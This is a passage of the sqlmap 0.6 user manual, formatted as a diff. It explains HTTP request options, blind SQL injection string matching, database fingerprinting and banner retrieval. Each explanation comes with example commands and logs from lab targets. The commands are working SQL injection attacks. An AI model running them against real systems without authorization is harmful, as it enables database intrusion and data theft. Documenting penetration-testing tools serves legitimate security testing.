+[hh:mm:40] [WARNING] the testable parameter 'user-agent' you provided is not into the GET
+[hh:mm:40] [INFO] testing connection to the target url
+[hh:mm:40] [INFO] testing if the url is stable, wait a few seconds
+[hh:mm:41] [INFO] url is stable
+[hh:mm:41] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
+[hh:mm:41] [INFO] confirming that User-Agent parameter 'User-Agent' is dynamic
+[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is dynamic
+[hh:mm:41] [INFO] testing sql injection on User-Agent parameter 'User-Agent'
+[hh:mm:41] [INFO] testing numeric/unescaped injection on User-Agent parameter 'User-Agent'
+[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is not numeric/unescaped injectable
+[hh:mm:41] [INFO] testing string/single quote injection on User-Agent parameter 'User-Agent'
+[hh:mm:41] [INFO] confirming string/single quote injection on User-Agent parameter 'User-Agent'
+[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is string/single quote injectable
+[hh:mm:41] [INFO] testing for parenthesis on injectable parameter
+[hh:mm:41] [INFO] the injectable parameter requires 0 parenthesis
+[hh:mm:41] [INFO] testing MySQL
+[hh:mm:41] [INFO] query: CONCAT(CHAR(52), CHAR(52))
+[hh:mm:41] [INFO] retrieved: 44
+[hh:mm:41] [INFO] performed 20 queries in 0 seconds
+[hh:mm:41] [INFO] confirming MySQL
+[hh:mm:41] [INFO] query: LENGTH(CHAR(52))
+[hh:mm:41] [INFO] retrieved: 1
+[hh:mm:41] [INFO] performed 13 queries in 0 seconds
+[hh:mm:41] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1
+[hh:mm:41] [INFO] retrieved: 4
+[hh:mm:41] [INFO] performed 13 queries in 0 seconds
+back-end DBMS: MySQL >= 5.0.0
+
+
+
+HTTP method: GET or POST
+
+
+Options: --method and --data
+
+
+By default the HTTP method used to perform HTTP requests is GET,
+but you can change it to POST and provide the data to be sent
+through POST request. Such data, being those parameters, are
+tested for SQL injection like the GET parameters.
+
+
+Example on an Oracle XE 10.2.0.1 target:
+
+
+$ python sqlmap.py -u http://192.168.1.121/sqlmap/oracle/post_int.php --method POST \
+ --data "id=1&cat=2"
+
+[hh:mm:53] [INFO] testing connection to the target url
+[hh:mm:53] [INFO] testing if the url is stable, wait a few seconds
+[hh:mm:54] [INFO] url is stable
+[hh:mm:54] [INFO] testing if POST parameter 'id' is dynamic
+[hh:mm:54] [INFO] confirming that POST parameter 'id' is dynamic
+[hh:mm:54] [INFO] POST parameter 'id' is dynamic
+[hh:mm:54] [INFO] testing sql injection on POST parameter 'id'
+[hh:mm:54] [INFO] testing numeric/unescaped injection on POST parameter 'id'
+[hh:mm:54] [INFO] confirming numeric/unescaped injection on POST parameter 'id'
+[hh:mm:54] [INFO] POST parameter 'id' is numeric/unescaped injectable
+[hh:mm:54] [INFO] testing if POST parameter 'cat' is dynamic
+[hh:mm:54] [WARNING] POST parameter 'cat' is not dynamic
+[...]
+[hh:mm:54] [INFO] testing Oracle
+[hh:mm:54] [INFO] query: LENGTH(SYSDATE)
+[hh:mm:54] [INFO] retrieved: 9
+[hh:mm:54] [INFO] performed 13 queries in 0 seconds
+[hh:mm:54] [INFO] confirming Oracle
+[hh:mm:54] [INFO] query: SELECT VERSION FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1
+[hh:mm:54] [INFO] retrieved: 10.2.0.1.0
+[hh:mm:55] [INFO] performed 76 queries in 0 seconds
+back-end DBMS: Oracle
+
+
+
+HTTP Cookie header
+
+
+Option: --cookie
+
+
+This feature can be useful in two scenarios:
+
+
+- The web application requires authentication based upon cookies and
+you have such data.
+
- You want to test for and exploit SQL injection on such header
+values.
+
+
+
+The steps to go through in the second scenario are the following:
+
+
+- On Firefox web browser login on the web authentication form while
+dumping URL requests with browser's extension.
+
- In the horizontal box of the extension select your authentication
+transaction then in the left box on the bottom click with the right button
+on the Cookie value, then click on Copy to save its
+value to the clipboard.
+
- Go back to your shell and run sqlmap.
+
+
+
+Example on a Microsoft SQL Server 2000 Service Pack 0 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/cookie_int.php" --cookie \
+ "id=1;cat=2" -v 1
+
+[hh:mm:37] [INFO] testing connection to the target url
+[hh:mm:37] [INFO] testing if the url is stable, wait a few seconds
+[hh:mm:38] [INFO] url is stable
+[hh:mm:38] [INFO] testing if Cookie parameter 'id' is dynamic
+[hh:mm:38] [INFO] confirming that Cookie parameter 'id' is dynamic
+[hh:mm:38] [INFO] Cookie parameter 'id' is dynamic
+[hh:mm:38] [INFO] testing sql injection on Cookie parameter 'id'
+[hh:mm:38] [INFO] testing numeric/unescaped injection on Cookie parameter 'id'
+[hh:mm:38] [INFO] confirming numeric/unescaped injection on Cookie parameter 'id'
+[hh:mm:38] [INFO] Cookie parameter 'id' is numeric/unescaped injectable
+[...]
+
+
+
+Note that the HTTP Cookie header values are separated by a
+; character, not by an &.
+
+
+If the web application at first HTTP response has within the HTTP headers
+a Set-Cookie header, sqlmap will automatically use it in all HTTP
+requests as the HTTP Cookie header and also test for SQL
+injection on these values.
+
+
+Example on a Microsoft SQL Server 2000 Service Pack 0 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.125/sqlmap/get_str.asp?name=luther" -v 3
+
+[...]
+[hh:mm:39] [INFO] testing connection to the target url
+[hh:mm:39] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/get_str.asp?name=luther HTTP/1.1
+Host: 192.168.1.125:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Cookie: ASPSESSIONIDSABTRCAS=HPCBGONANJBGFJFHGOKDMCGJ
+Connection: close
+
+[...]
+[hh:mm:40] [INFO] url is stable
+[...]
+[hh:mm:40] [INFO] testing if Cookie parameter 'ASPSESSIONIDSABTRCAS' is dynamic
+[hh:mm:40] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/get_str.asp?name=luther HTTP/1.1
+Host: 192.168.1.125:80
+Cookie: ASPSESSIONIDSABTRCAS=469
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:40] [WARNING] Cookie parameter 'ASPSESSIONIDSABTRCAS' is not dynamic
+[...]
+
+
+
+If you provide an HTTP Cookie header value and the target URL
+sends an HTTP Set-Cookie header, sqlmap asks you which one to use
+in the following HTTP requests.
+
+
+Example on a Microsoft SQL Server 2000 Service Pack 0 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.125/sqlmap/get_str.asp?name=luther" --cookie "id=1"
+
+[hh:mm:51] [INPUT] you provided an HTTP Cookie header value. The target url provided its
+own Cookie within the HTTP Set-Cookie header. Do you want to continue using the HTTP cookie
+values that you provided? [Y/n]
+
+
+
+HTTP Referer header
+
+
+Option: --referer
+
+
+It is possible to fake the HTTP Referer header value with this
+option. By default no HTTP Referer heder is sent in HTTP
+requests.
+
+
+Example on a PostgreSQL 8.2.7 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --referer \
+ "http://www.google.com" -v 3
+
+[...]
+[hh:mm:48] [INFO] testing connection to the target url
+[hh:mm:48] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/pgsql/get_int.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+Referer: http://www.google.com
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+[...]
+
+
+
+HTTP User-Agent header
+
+
+Options: --user-agent and -a
+
+
+By default sqlmap perform HTTP requests providing the following HTTP
+User-Agent header value:
+
+
+sqlmap/0.6 (http://sqlmap.sourceforge.net)
+
+
+
+It is possible to fake it with the --user-agent option.
+
+
+Example on an Oracle XE 10.2.0.1 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" \
+ --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3
+
+[...]
+[hh:mm:02] [INFO] testing connection to the target url
+[hh:mm:02] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/oracle/get_int.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
+Connection: close
+[...]
+
+
+
+Providing a text file, ./txt/user-agents.txt or any other
+file containing a list of at least one user agent, to the -a
+option, sqlmap will randomly select a User-Agent from the file
+and use it for all HTTP requests.
+
+
+Example on a MySQL 5.0.51 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 \
+ -a "./txt/user-agents.txt"
+
+[hh:mm:00] [DEBUG] initializing the configuration
+[hh:mm:00] [DEBUG] initializing the knowledge base
+[hh:mm:00] [DEBUG] cleaning up configuration parameters
+[hh:mm:00] [DEBUG] fetching random HTTP User-Agent header from file './txt/user-agents.txt'
+[hh:mm:00] [INFO] fetched random HTTP User-Agent header from file './txt/user-agents.txt':
+Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)
+[hh:mm:00] [DEBUG] setting the HTTP method to perform HTTP requests through
+[hh:mm:00] [DEBUG] creating HTTP requests opener object
+[hh:mm:00] [DEBUG] parsing XML queries file
+[hh:mm:00] [INFO] testing connection to the target url
+[hh:mm:00] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)
+Connection: close
+[...]
+
+
+
+Note that the HTTP User-Agent header is tested against SQL
+injection even if you do not overwrite the default sqlmap HTTP
+User-Agent header value.
+
+
+HTTP Basic and Digest authentications
+
+
+Options: --auth-type and --auth-cred
+
+
+These options can be used to specify which HTTP authentication type the
+web server implements and the valid credentials to be used to perfom all
+HTTP requests to the target URL.
+The two valid types are Basic and Digest and the
+credentials' syntax is username:password.
+
+
+Examples on a MySQL 5.0.51 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/basic/get_int.php?id=1&cat=2" \
+ --auth-type Basic --auth-cred "testuser:testpass" -v 3
+
+[...]
+[hh:mm:28] [INFO] testing connection to the target url
+[hh:mm:28] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/basic/get_int.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3M=
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+[...]
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/digest/get_int.php?id=1&cat=2" \
+ --auth-type Digest --auth-cred "testuser:testpass" -v 3
+
+[...]
+[hh:mm:48] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/digest/get_int.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+Authorization: Digest username="testuser", realm="Testing digest authentication",
+nonce="qcL9udlSBAA=f3b77da349fcfbf1a59ba37b21e291341159598f",
+uri="/sqlmap/mysql/digest/get_int.php?id=1&cat=2",
+response="e1bf3738b4bbe04e197a12fb134e13a2", algorithm="MD5", qop=auth, nc=00000001,
+cnonce="df1c0902c931b640"
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+[...]
+
+
+
+HTTP proxy
+
+
+Option: --proxy
+
+
+It is possible to provide an anonymous HTTP proxy address to pass by the
+HTTP requests to the target URL. The syntax of HTTP proxy value is
+http://url:port.
+
+
+Example on a PostgreSQL 8.2.7 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" \
+ --proxy "http://127.0.0.1:3128"
+
+[hh:mm:36] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
+[hh:mm:36] [WARNING] GET parameter 'cat' is not dynamic
+[hh:mm:37] [WARNING] the back-end DMBS is not MySQL
+[hh:mm:37] [WARNING] the back-end DMBS is not Oracle
+back-end DBMS: PostgreSQL
+
+
+
+Instead of using a single anonymous HTTP proxy server to pass by, you can
+configure a together
+with on your machine
+as explained on the then run sqlmap as follows:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" \
+ --proxy "http://127.0.0.1:8118"
+
+
+
+Note that 8118 is the default Privoxy port, adapt it to your
+settings.
+
+
+Concurrent HTTP requests
+
+
+Option: --threads
+
+
+It is possible to specify the number of maximum concurrent HTTP requests
+that sqlmap can start when it uses the blind SQL injection technique to
+retrieve the query output.
+This feature relies on the concept and inherits both its pro and its cons.
+
+
+Examples on a MySQL 5.0.51 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 \
+ -b --threads 3
+
+[...]
+back-end DBMS: MySQL >= 5.0.0
+
+[hh:mm:08] [INFO] fetching banner
+[hh:mm:08] [INFO] retrieved the length of query output: 18
+[hh:mm:09] [INFO] query: IFNULL(CAST(VERSION() AS CHAR(10000)), CHAR(32))
+[hh:mm:09] [INFO] starting 3 threads
+[hh:mm:09] [INFO] retrieved: 5.0.51a-3ubuntu5.2
+[hh:mm:09] [INFO] performed 132 queries in 0 seconds
+banner: '5.0.51a-3ubuntu5.2'
+
+
+
+As you can see, sqlmap first calculates the length of the query output,
+then starts three threads. Each thread is assigned to retrieve one
+character of the query output. The thread then ends after approximately
+seven HTTP requests, the maximum to retrieve a query output character.
+
+
+Injection
+
+String match
+
+
+Option: --string
+
+
+By default the distinction of a True query by a False one (basic concept
+for standard blind SQL injection attacks) is done comparing injected pages
+content MD5 hash with the original not-injected page content MD5. Not
+always this concept works because sometimes the page content changes at
+each refresh, for instance when the page has a counter, a dynamic
+advertisment banner or any other part of the HTML which is render
+dynamically and might change in time not only consequently to user's
+input.
+To bypass this limit, sqlmap makes it possible to manually provide a
+string which is always present on the not-injected page
+and on all True injected query pages, but that it is not
+on the False ones.
+Such information is easy for an user to retrieve, simply try to inject on
+the affected URL parameter an invalid value and compare original output
+with the wrong output to identify which string is on True page only.
+This way the distinction will be based upon string match and not page MD5
+hash comparison.
+
+Example on a MySQL 5.0.51 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1&cat=2" \
+ -v 5
+
+[...]
+[hh:mm:50] [INFO] testing if the url is stable, wait a few seconds
+[hh:mm:50] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:50] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Fri, 25 Jul 2008 14:29:50 GMT
+Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
+OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
+X-Powered-By: PHP/5.2.4-2ubuntu5.2
+Connection: close
+Transfer-Encoding: chunked
+Content-Type: text/html
+
+<html><body>
+<b>SQL results:</b>
+<table border="1">
+<tr><td>1</td><td>luther</td><td>blissett</td></tr>
+</table>
+</body></html><p>Dynamic content: 1216996190</p>
+
+[hh:mm:51] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Fri, 25 Jul 2008 14:29:51 GMT
+Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
+OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
+X-Powered-By: PHP/5.2.4-2ubuntu5.2
+Content-Length: 161
+Connection: close
+Content-Type: text/html
+
+<html><body>
+<b>SQL results:</b>
+<table border="1">
+<tr><td>1</td><td>luther</td><td>blissett</td></tr>
+</table>
+</body></html><p>Dynamic content: 1216996191</p>
+
+[hh:mm:51] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Fri, 25 Jul 2008 14:29:51 GMT
+Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
+OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
+X-Powered-By: PHP/5.2.4-2ubuntu5.2
+Content-Length: 161
+Connection: close
+Content-Type: text/html
+
+<html><body>
+<b>SQL results:</b>
+<table border="1">
+<tr><td>1</td><td>luther</td><td>blissett</td></tr>
+</table>
+</body></html><p>Dynamic content: 1216996191</p>
+
+[hh:mm:51] [ERROR] url is not stable, try with --string option, refer to the user's manual
+paragraph 'String match' for details
+
+
+
+As you can see, the string after Dynamic content changes its
+value every second. In the example it is just a call to PHP
+time() function, but on the real world it is usually much more
+than that.
+
+
+Looking at the HTTP responses page content you can see that the first five
+lines of code do not change at all.
+So choosing for instance the word luther as an output that is
+on the True page content and it is not on the False page content and
+passing it to sqlmap, you should be able to inject anyway.
+
+Example on a MySQL 5.0.51 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1&cat=2" \
+ --string "luther" -v 1
+
+[hh:mm:22] [INFO] testing connection to the target url
+[hh:mm:22] [INFO] testing if the provided string is within the target URL page content
+[hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
+[hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
+[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
+[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
+[hh:mm:22] [INFO] GET parameter 'id' is dynamic
+[hh:mm:22] [INFO] testing sql injection on GET parameter 'id'
+[hh:mm:22] [INFO] testing numeric/unescaped injection on GET parameter 'id'
+[hh:mm:22] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
+[hh:mm:22] [INFO] GET parameter 'id' is numeric/unescaped injectable
+[hh:mm:22] [INFO] testing if GET parameter 'cat' is dynamic
+[hh:mm:22] [WARNING] GET parameter 'cat' is not dynamic
+[hh:mm:22] [INFO] testing for parenthesis on injectable parameter
+[hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis
+[...]
+
+
+
+As you can see, when this option is specified, sqlmap skips the URL
+stability test.
+
+
+Consider this option a must when you are dealing with a page which
+content that changes itself at each refresh without modifying the user's
+input.
+
+
+Force the database management system name
+
+
+Option: --dbms
+
+
+By default sqlmap automatically detects the web application's back-end
+database manangement system.
+At the moment the fully supported database management system are four:
+
+
+- MySQL
+
- Oracle
+
- PostgreSQL
+
- Microsoft SQL Server
+
+
+
+It is possible to force the name if you already know it so that sqlmap
+will skip the fingerprint with an exception for MySQL to only identify if
+it is MySQL < 5.0 or MySQL >= 5.0.
+To avoid also this check you can provide instead MySQL 4 or
+MySQL 5.
+
+Example on a PostgreSQL 8.2.7 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 2 \
+ --dbms "PostgreSQL"
+
+[...]
+[hh:mm:31] [DEBUG] skipping to test for MySQL
+[hh:mm:31] [DEBUG] skipping to test for Oracle
+back-end DBMS: PostgreSQL
+
+
+
+In case you provide --fingerprint together with --dbms,
+sqlmap will only perform the extensive fingerprint for the specified
+database management system, read the following section for further
+details.
+
+
+Note that this option is not mandatory and it is strongly
+recommended to use it only if you are absolutely sure about the
+back-end database management system. If you do not know it, let sqlmap
+automatically identify it for you.
+
+
+Fingerprint
+
+Extensive database management system fingerprint
+
+
+Options: -f or --fingerprint
+
+
+By default the web application's back-end database management system
+fingerprint is performed requesting a database specific function which
+returns a known static value. By comparing this value with the returned
+value it is possible to identify if the back-end database is effectively
+the one that sqlmap expected.
+
+After identifying an injectable vector, sqlmap fingerprints the back-end
+database management system and performs the following queries with their
+specific syntax within the limits of the database architecture.
+
+If you want to perform a more accurate database management system
+fingerprint based on various techniques like specific SQL dialects and
+inband error messages, you can provide the --fingerprint option.
+
+The order of database management systems that sqlmap tests for is:
+
+
+- MySQL
+
- Oracle
+
- PostgreSQL
+
- Microsoft SQL Server
+
+
+
+Example on a MySQL 5.0.51 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 -f
+
+[...]
+[hh:mm:02] [INFO] testing MySQL
+[hh:mm:02] [INFO] query: CONCAT(CHAR(52), CHAR(52))
+[hh:mm:02] [INFO] retrieved: 44
+[hh:mm:02] [INFO] performed 20 queries in 0 seconds
+[hh:mm:02] [INFO] confirming MySQL
+[hh:mm:02] [INFO] query: LENGTH(CHAR(52))
+[hh:mm:02] [INFO] retrieved: 1
+[hh:mm:02] [INFO] performed 13 queries in 0 seconds
+[hh:mm:02] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1
+[hh:mm:02] [INFO] retrieved: 4
+[hh:mm:02] [INFO] performed 13 queries in 0 seconds
+[hh:mm:02] [INFO] query: DATABASE()
+[hh:mm:02] [INFO] retrieved: test
+[hh:mm:02] [INFO] performed 34 queries in 0 seconds
+[hh:mm:02] [INFO] query: SCHEMA()
+[hh:mm:02] [INFO] retrieved: test
+[hh:mm:02] [INFO] performed 34 queries in 0 seconds
+[hh:mm:02] [INFO] query: SELECT 4 FROM information_schema.PARTITIONS LIMIT 0, 1
+[hh:mm:02] [INFO] retrieved:
+[hh:mm:02] [INFO] performed 6 queries in 0 seconds
+[hh:mm:02] [INFO] executing MySQL comment injection fingerprint
+back-end DBMS: active fingerprint: MySQL >= 5.0.2 and < 5.1
+ comment injection fingerprint: MySQL 5.0.51
+ html error message fingerprint: MySQL
+
+
+
+Example on an Oracle XE 10.2.0.1 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" -v 1 -f
+
+[...]
+[hh:mm:26] [WARNING] the back-end DMBS is not MySQL
+[hh:mm:26] [INFO] testing Oracle
+[hh:mm:26] [INFO] query: LENGTH(SYSDATE)
+[hh:mm:26] [INFO] retrieved: 9
+[hh:mm:26] [INFO] performed 13 queries in 0 seconds
+[hh:mm:26] [INFO] confirming Oracle
+[hh:mm:26] [INFO] query: SELECT VERSION FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1
+[hh:mm:26] [INFO] retrieved: 10.2.0.1.0
+[hh:mm:27] [INFO] performed 76 queries in 0 seconds
+back-end DBMS: active fingerprint: Oracle 10g
+ html error message fingerprint: Oracle
+
+
+
+Example on a PostgreSQL 8.2.7 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 -f
+
+[...]
+[hh:mm:56] [WARNING] the back-end DMBS is not Oracle
+[hh:mm:56] [INFO] testing PostgreSQL
+[hh:mm:56] [INFO] query: COALESCE(7, NULL)
+[hh:mm:56] [INFO] retrieved: 7
+[hh:mm:56] [INFO] performed 13 queries in 0 seconds
+[hh:mm:56] [INFO] confirming PostgreSQL
+[hh:mm:56] [INFO] query: LENGTH((CHR(55)))
+[hh:mm:56] [INFO] retrieved: 1
+[hh:mm:56] [INFO] performed 13 queries in 0 seconds
+[hh:mm:56] [INFO] query: SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)
+[hh:mm:56] [INFO] retrieved: 2
+[hh:mm:56] [INFO] performed 13 queries in 0 seconds
+back-end DBMS: active fingerprint: PostgreSQL >= 8.2.0
+ html error message fingerprint: PostgreSQL
+
+
+
+As you can see from this last example, sqlmap first tested for MySQL,
+then for Oracle, then for PostgreSQL since the user did not forced the
+back-end database management system name.
+
+
+Example on a Microsoft SQL Server 2000 Service Pack 0 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -v 1 -f
+
+[...]
+[hh:mm:41] [WARNING] the back-end DMBS is not PostgreSQL
+[hh:mm:41] [INFO] testing Microsoft SQL Server
+[hh:mm:41] [INFO] query: LTRIM(STR(LEN(7)))
+[hh:mm:41] [INFO] retrieved: 1
+[hh:mm:41] [INFO] performed 13 queries in 0 seconds
+[hh:mm:41] [INFO] query: SELECT SUBSTRING((@@VERSION), 25, 1)
+[hh:mm:41] [INFO] retrieved: 0
+[hh:mm:41] [INFO] performed 13 queries in 0 seconds
+back-end DBMS: active fingerprint: Microsoft SQL Server 2000
+ html error message fingerprint: Microsoft SQL Server
+
+
+
+If you want an even more accurate result, based also on banner parsing,
+you can also provide the -b or --banner option.
+
+
+Example on a MySQL 5.0.51 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 -f -b
+
+[...]
+[hh:mm:11] [INFO] testing MySQL
+[hh:mm:11] [INFO] query: CONCAT(CHAR(52), CHAR(52))
+[hh:mm:11] [INFO] retrieved: 44
+[hh:mm:11] [INFO] performed 20 queries in 0 seconds
+[hh:mm:11] [INFO] confirming MySQL
+[hh:mm:11] [INFO] query: LENGTH(CHAR(52))
+[hh:mm:11] [INFO] retrieved: 1
+[hh:mm:11] [INFO] performed 13 queries in 0 seconds
+[hh:mm:11] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1
+[hh:mm:11] [INFO] retrieved: 4
+[hh:mm:11] [INFO] performed 13 queries in 0 seconds
+[hh:mm:11] [INFO] query: DATABASE()
+[hh:mm:11] [INFO] retrieved: test
+[hh:mm:11] [INFO] performed 34 queries in 0 seconds
+[hh:mm:11] [INFO] query: SCHEMA()
+[hh:mm:11] [INFO] retrieved: test
+[hh:mm:11] [INFO] performed 34 queries in 0 seconds
+[hh:mm:11] [INFO] query: SELECT 4 FROM information_schema.PARTITIONS LIMIT 0, 1
+[hh:mm:11] [INFO] retrieved:
+[hh:mm:11] [INFO] performed 6 queries in 0 seconds
+[hh:mm:11] [INFO] query: VERSION()
+[hh:mm:11] [INFO] retrieved: 5.0.51a-3ubuntu5.2
+[hh:mm:12] [INFO] performed 132 queries in 0 seconds
+[hh:mm:12] [INFO] executing MySQL comment injection fingerprint
+back-end DBMS: active fingerprint: MySQL >= 5.0.2 and < 5.1
+ comment injection fingerprint: MySQL 5.0.51
+ banner parsing fingerprint: MySQL 5.0.51
+ html error message fingerprint: MySQL
+[...]
+
+
+
+Example on a Microsoft SQL Server 2000 Service Pack 0 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -v 1 -f -b
+
+[...]
+[hh:mm:03] [WARNING] the back-end DMBS is not PostgreSQL
+[hh:mm:03] [INFO] testing Microsoft SQL Server
+[hh:mm:03] [INFO] query: LTRIM(STR(LEN(3)))
+[hh:mm:03] [INFO] retrieved: 1
+[hh:mm:03] [INFO] performed 13 queries in 0 seconds
+[hh:mm:03] [INFO] query: SELECT SUBSTRING((@@VERSION), 25, 1)
+[hh:mm:03] [INFO] retrieved: 0
+[hh:mm:03] [INFO] performed 13 queries in 0 seconds
+[hh:mm:03] [INFO] query: @@VERSION
+[hh:mm:03] [INFO] retrieved: Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
+ Aug 6 2000 00:57:48
+ Copyright (c) 1988-2000 Microsoft Corporation
+ Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
+
+[hh:mm:08] [INFO] performed 1308 queries in 4 seconds
+back-end DBMS: active fingerprint: Microsoft SQL Server 2000
+ banner parsing fingerprint: Microsoft SQL Server 2000 Service Pack 0
+ version 8.00.194
+ html error message fingerprint: Microsoft SQL Server
+
+
+
+As you can see, from the Microsoft SQL Server banner, sqlmap was able to
+correctly identify the database management system service pack.
+The Microsoft SQL Server XML versions file is the result of a sqlmap
+parsing library that fetches data from Chip Andrews'
+ and outputs it to the XML versions file.
+
+
+Enumeration
+
+Banner
+
+
+Option: -b or --banner
+
+
+Most of the modern database management systems have a function or an
+environment variable which returns details on the database managemet
+system version. Sometimes also the operating system where the daemon has
+been compiled on, the operating system architecture, its service pack.
+Usually this function is version() or the @@version
+environment variable.
+
+
+Example on a MySQL 5.0.51 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -b
+
+banner: '5.0.51a-3ubuntu5.2'
+
+
+
+Example on a PostgreSQL 8.2.7 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -b
+
+banner: 'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu
+4.2.3-2ubuntu4)'
+
+
+
+Example on an Oracle XE 10.2.0.1 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" -b
+
+banner: 'Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product'
+
+
+
+Example on a Microsoft SQL Server 2000 Service Pack 0 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -b
+
+banner:
+---
+Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
+ Aug 6 2000 00:57:48
+ Copyright (c) 1988-2000 Microsoft Corporation
+ Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
+---
+
+
+
+Current user
+
+
+Option: --current-user
